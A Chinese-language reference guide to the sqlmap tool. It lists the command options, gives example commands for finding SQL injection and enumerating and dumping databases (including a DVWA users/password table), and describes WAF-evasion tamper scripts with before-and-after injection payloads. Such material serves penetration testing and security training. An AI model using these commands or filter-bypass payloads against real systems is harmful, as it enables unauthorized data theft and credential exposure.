SQLMAP命令详解
Options
--version
:显示当前sqlmap的版本号
-h
:显示帮助信息
-hh
:显示详细的帮助信息
-v VERBOSE
:详细级别,VERBOSE为数字,默认为1
Target
-d DIRECT
:直接连接到数据库
-u URL
或--url=URL
:目标地址(URL)
-l LOGFILE
:从Burp或WebScarab代理的日志中解析目标
-x SITEMAPURL
:从一个XML文件中解析目标
-m BULKFILE
:扫描文本文件中的多个目标
-r REQUESTFILE
:从文件中导入HTTP请求(通常用于检查POST请求中的SQL注入)
-g GOOGLEDORK
:处理Google Dork的结果作为目标URL
-c CONFIGFILE
:从ini文件中加载选项
Request
--method=MEHOTD
:强制指定HTTP方法(如PUT)
--data=DATA
:指定POST请求的参数
--param-del=PARAMDEL
:指定参数的分隔符(如:&
)
--cookie=COOKIE
:指定HTTP请求的Cookie
--cookie-del=COOKIEDEL
:指定Cookie的分隔符(如:分号;
)
--load-cookies=LOADCOOKIES
:指定以Netscape或wget且包含cookie的文件
--drop-set-cookie
:忽略返回包中的Set-Cookie
字段
--user-agent
:指定HTTP头部的user-agent值
--random-agent
:设置随机的HTTP User-Agent
--host=HOST
:指定HTTP头部的host值
--referer=REFERER
:指定HTTP头部中的referer值
-H=HEADER
:指定HTTP其他头部信息
--headers=HEADERS
:指定HTTP其他头部信息
--auth-type=AUTHTYPE
:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)
--auth-cred=AUTHCRED
:指定HTTP认证凭证(name:password)
--auth-file=AUTHFILE
:指定HTTP认证PEM认证/私钥文件
--ignore-code=IGNORECODE
:忽略指定的HTTP错误码(如:401)
--ignore-proxy
:忽略系统默认代理
--ignore-redirects
:忽略重定向尝试
--ignore-timeouts
:忽略连接超时
--proxy=PROXY
:指定代理地址
--proxy-cred=PROXYCRED
:指定代理认证凭据(name:password)
--proxy-file=PROXYFILE
:从指定文件中加载代理数据
--tor
:使用tor匿名网络(通常需要提高默认的响应时长,且需要指定Tor的代理地址)
--tor-port=TORPORT
:设置TOR代理的端口(修改默认端口)
--tor-type=TORTYPE
:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)
--check-tor
:检查tor能否正常使用
--delay=DELAY
:设置每个HTTP请求的间隔时间(单位:秒)
--timeout=TIMEOUT
:设置超时连接前等待的时间(单位:秒)
--retries=RETRIES
:设置连接超时重新尝试的次数(默认为3)
--randomize=RPARAM
:随机更改给定参数的值
--safe-url=SAFEURL
:指定在测试期间频繁访问的URL
--safe-post=SAFEPOST
:POST数据发送到安全URL
--safe-req=SAFEREQ
:从文件中加载HTTP请求
--safe-freq=SAFEFREQ
:在两次访问安全网址之间的测试请求
--skip-urlencode
:跳过经过URL编码的payload数据
--csrf-token=CSRFTOKEN
:指定CSRF-TOKEN值
--csrf-url=CSRFURL
:指定提取CSRF-TOKEN的URL值
--force-ssl
:强制使用SSL协议
--hpp
:使用HTTP参数pollution的方法
--eval
:评估请求之前提供Python代码
Optimization
-o
:开启所有优化开关
--predict-output
:预测常见的查询输出
--keep-alive
:使用持久的HTTP(S)连接
--null-connection
:从没有实际的HTTP响应体中检索页面长度
--threads=THREADS
:设置请求的并发数
Injection
-p TESTPARAMETER
:指定需要测试的参数
--skip=SKIP
:跳过指定参数的测试
--skip-static
:跳过非动态参数的测试
--param-exclude=PARAMEXCLUDE
:使用正则排除要测试的参数
--dbms=DBMS
:强制指定数据库管理系统的类型
--dbms-cred=DBMSCRED
:指定DBMS认证凭证(name:password)
--os=OS
:指定后端DBMS的操作系统
--invalid-logical
:使用大数字使值无效
--invalid-string
:使用随机字符串使值无效
no-cast
:关闭有效载荷
--no-escape
:关闭字符串转义机制
--prefix=PREFIX
:注入payload字符串前缀
--suffix=SUFFIX
:注入payload字符串后缀
--tamper=TAMPER
:使用给定脚本篡改注入数据
Detection
--level=LEVEL
:指定执行检测的等级(1-5,默认为1)
--risk=RISK
:指定执行检测的风险(1-5,默认为1)
--string=STRING
:查询有效时在页面匹配字符串
--not-string=NOTSTRING
:查询无效时在页面匹配字符串
--regexp=REGEXP
:查询有效时在页面匹配正则表达式
--code=CODE
:查询有效时匹配的HTTP返回码
--text-only
:基于文本内容比较网页
--titles
:基于标题比较网页
Techniques
--technique=TECH
:指定SQL注入的技术(默认为BEUST)
--time-sec=TIMESEC
:DBMS响应的延迟时间
--union-cols=UCOLS
:指定UNION查询注入使用的列
--union-char=UCHAR
:指定暴力猜解列数的字符
--union-from=UFROM
:指定UNION查询注入的FROM部分使用的表
--dns-domain=DNSDOMAIN
:域名用于DNS漏出攻击
Enumeration
-a
或--all
:检索一切
-b,--banner
:检索数据库管理系统的标识
--current-user
:检索数据库管理系统的当前用户名
--current-db
:检索DBMS的当前数据库名称
--hostname
:检索数据库服务器的主机名
--is-dba
:检测DBMS当前用户是否为DBA
--users
:枚举DBMS的用户名
--passwords
:枚举DBMS用户密码哈希
--privileges
:枚举DBMS用户的权限
--roles
:枚举DBMS用户的角色
--dbs
:枚举DBMS所有的数据库名称
--tables
:枚举DBMS数据库中所有的表
--columns
:枚举DBMS数据库表中所有的列名
--schema
:枚举数据库架构
--count
:检索表的记录数
--dump
:转储DBMS的数据库中的表项
--dump-all
:转储DBMS的数据库中的所有表项
--search
:搜索列、表、数据库名称
--commnets
:检索数据库的comments
-D DB
:指定要枚举的数据库名称
-T TBL
:指定要枚举的数据表名称
-C COL
:指定要枚举的数据库列名
-X EXCLUDECOL
:指定不要枚举的数据库列名
-U USER
:指定要进行枚举的数据库用户名
--exclude-sysdbs
:枚举表时排除系统数据库
--where=DUMPWHERE
:使用WHERE条件表转储
--start=LIMITSTART
:第一个查询输出进入检索
--stop=LIMITSTOP
:最后查询的输出进入检索
--first=FIRSTCHAR
:第一个查询输出字的字符检索
--last=LASTCHAR
:最后查询的输出字字符检索
--sql-query=QUERY
:要执行的SQL语句
--sql-file=SQLFILE
:从给定文件中执行SQL语句
-
HTTP Get请求
## 指定参数和Cookie sqlmap -u "http://xxx.com/1.php?id=1" --cookies="COOKIE" -p id
## 忽略参数,指定分隔符 sqlmap -u "http://xxx.com/1.php?id=1&username=jack" --param-del=& --skip=username
-
HTTP Post请求
## 直接从文件导入 sqlmap -r 1.txt -p id
## 自定义 sqlmap -u "http://xxx.com/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id
一般的注入步骤
-
检查是否存在注入
sqlmap -r 1.txt -p id
-
简单的信息获取
## 获取数据库版本信息 sqlmap -r 1.txt -p id --banner ## 获取当前数据库名称 sqlmap -r 1.txt -p id --current-db ## 获取数据库中所有数据库名称 sqlmap -r 1.txt -p id --dbs ## 获取数据库当前用户名 sqlmap -r 1.txt -p id --current-user ## 获取数据库所有用户名 sqlmap -r 1.txt -p id --users ## 检查数据库当前用户是否为DBA sqlmap -r 1.txt -p id --is-dba
-
获取数据库中的数据
## 获取数据表名称 sqlmap -r 1.txt -p id -D dvwa --tables ## 获取数据表中的列名称 sqlmap -r 1.txt -p id -D dvwa -T users --columns ## 获取单个表中自定义列中的数据 sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump ## 获取单个表数据 sqlmap -r 1.txt -p id -D dvwa -T users --dump ## 获取单个数据库中所有表中的数据 sqlmap -r 1.txt -p id -D dvwa --dump
tamper介绍
数据库 | 脚本名 | 描述 | 举例 |
---|---|---|---|
通用 | apostrophemask.py | utf8替代引号 | |
base64encode.py | 用base64编码转换 | ||
multiplespaces.py | 围绕SQL关键字添加多个空格 | ||
space2plus.py | 用+替换空格 | ||
nonrecursivereplacement.py | 双重查询语句 | ||
space2randomblank.py | 用一个随机的空白字符替换空格字符 | ||
unionalltounion.py | 用UNION SELECT替换UNION ALL SELECT | ||
securesphere.py | 追加自定义字符串 | ||
mssql | space2hash.py | 空格替换为#号、随机字符串、换行符 | |
equaltolike.py | LIKE替换等于号(=) | ||
space2mssqlblank.py | 用其他空符号替换空格字符 | ||
space2mssqlhash.py | 用%23%0A替换空格字符 | ||
between.py | 用between替换大于号 | ||
percentage.py | 在每个字符前添加% | ||
sp_password.py | 在有效载荷后添加sp_password | ||
charencode.py | url编码 | ||
randomcase.py | 随机大小写 | ||
charunicodeencode.py | unicode编码字符串 | ||
space2comment.py | 用注释替换空格 | ||
mysql | equaltolike.py | like代替等号(=) | |
greatest.py | 绕过对大于号的过滤,用GREATEST替换大于号 | ||
apostrophenullencode.py | 绕过对双引号的过滤,替换字符和双引号 | ||
ifnull2ifisnull.py | 绕过对IFNULL的过滤,用IF(ISNULL(A),B,A)代替IFNULL | ||
space2mssqlhash.py | 用%23%0A替换空格 | ||
modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | ||
space2mysqlblank.py | 用其他空白字符替换空格 | ||
between.py | 用between替换大于号 | ||
modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | ||
space2mysqldash.py | 用–%0A替换空格字符 | ||
bluecoat.py | 用随机空白字符替换空格,用LIKE替换等于号(=) | ||
percentage.py | 在每个字符前加百分号 | ||
charencode.py | url编码 | ||
randomcase.py | 随机大小写 | ||
versionedkeywords.py | 用版本化的MySQL注释包含每个非函数关键字 | ||
space2comment.py | 用注释替换空格 | ||
charunicodeencode.py | 用unicode编码字符串 | ||
versionedmorekeywords.py | 用更多的版本化的MySQL注释包含每个非函数关键字 | ||
halfversionedmorekeywords.py | 关键字前加注释 | ||
space2morehash.py | 空格替换为#号和其他随机字符串 | ||
oracle | greatest.py | 用GREATEST替换大于号 | |
apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号 | ||
between.py | 用between替换大于号 | ||
charencode.py | url编码 | ||
randomcase.py | 随机大小写 | ||
charunicodeencode.py | unicode编码 | ||
space2comment.py | 用注释替换空格 | ||
Access | appendnullbyte.py | 在有效载荷结束位置加零字节字符编码 |
脚本及功能介绍
space2plus
用+替换空格
// old
select id from users
// new
select+id+from+users
space2hash
空格替换为#号(%23) 随机字符串 换行符(%0A)
// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2
space2morehash
空格替换为#号(%23) 更多随机字符串 换行符(%0A)
// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2
space2mysqldash
替换空格为–%0A
// old
1 and 2=2
// new
1--%0Aand--%0A2=2
space2randomblank
将空格替换为随机空白字符的字符集
// old
select id from users
// new
select%0Did%0Dfrom%0Ausers
space2mssqlblank
空格替换为其他空白字符
// old
select id from users
// new
select%08id%02from%0Fusers
space2mssqlhash
空格替换为%23%0A
// old
1 and 2=2
// new
1%23%0Aand%23%0A2=2
space2comment
空格替换为注释
// old
select id from users
//new
select//id//from/**/users
between
将大于号(>)替换为between
// old
1 and A>B
// new
1 and A not between 0 and B
greatest
将大于号(>)替换为greatest
// old
1 and A>B
// new
1 and greatest(A,B+1)=A
equaltolike
将等于号(=)替换为like
// old
select * from users where id=1
// new
select * from users where id like 1
bluecoat
将空格替换为一个随机的空白字符,同时将等于号(=)替换为like
// old
select id from users where id=1
// new
select%09id from users where id like 1
modsecurityversioned
将空格替换为包含完整版本注释的字符串(当MySQL的版本大于等于指定的版本号时才会执行注释中的语法)
// old
1 and 2>1--
// new
1/*!30874AND 2>1*/--
modsecurityzeroversioned
将空格替换为包含完整版本注释与零版本注释的字符串
// old
1 and 2>1
// new
1/*!00000and 2>1*/--
versionedkeywords
为每个非函数关键字添加版本注释
// old
1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
// new
1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
versionedmorekeywords
为每个关键字添加版本注释
// old
1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
// new
1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
halfversionedmorekeywords
为每个关键字前添加注释 /*!0
// old
value\' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND \'QDW\'=\'QDWa
// new
value\'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND \'QDW\'=\'QDWa
multiplespaces
围绕SQL关键字添加空格
// old
1 union select foobar
// new
1 union select foobar
nonrecursivereplacement
双重查询语句
// old
1 union select 2--
// new
1 ununionion selselectect 2--
unionalltounion
将union all select替换为union select
// old
1 union all select
// new
1 union select
securesphere
追加特制字符串
// old
1 and 1=1
// new
1 and 1=1 and \'ok\'=\'ok\'
percentage
每个字符前添加百分号(%)
// old
select id from users
// new
%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%s
appendnullbyte
在有效载荷末尾位置加载字节字符编码
// old
1 and 1=1
// new
1 and 1=1%00
randomcase
随机大小写
// old
insert
// new
InsErT
charencode
对所有字符串进行url编码
// old
SELECT FIELD FROM TABLE
// new
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
chardoubleencode
对所有字符串进行双重url编码
// old
SELECT FIELD FROM TABLE
// new
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
charunicodeencode
对所有字符串进行unicode编码
// old
SELECT FIELD FROM TABLE
// new
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045
base64encode
对所有字符串进行base64编码
// old
1 and 1=1#
// new
MSBhbmQgMT0xIw==
总结
空格处理
space2plus.py
space2hash.py
space2morehash.py
space2mysqldash.py
space2randomblank.py
space2mssqlblank.py
space2mssqlhash.py
space2comment.py
modsecurityversioned.py
modsecurityzeroversioned.py
大于号处理
between.py
greatest.py
等于号处理
equaltolike.py
bluecoat.py
引号处理
-
apostrophemask.py
:utf8替换引号 -
apostrophenullencode.py
:替换字符和双引号
关键字处理
-
versionedkeywords.py
-
versionedmorekeywords.py
-
halfversionedmorekeywords.py
-
multiplespaces.py
:多个关键字前加空格 -
nonrecursivereplacement.py
:双重关键字 -
unionalltounion.py
:union select替换union all select -
securesphere.py
:追加特制字符串 -
percentage.py
:每个字符前加% -
appendnullbyte.py
:末尾添加零字节编码
语句处理
-
randomcase.py
:大小写混淆 -
charencode.py
:url编码 -
chardoublecode.py
:双重url编码 -
charunicodeencode.py
:unicode编码 -
base64encode.py
:base64编码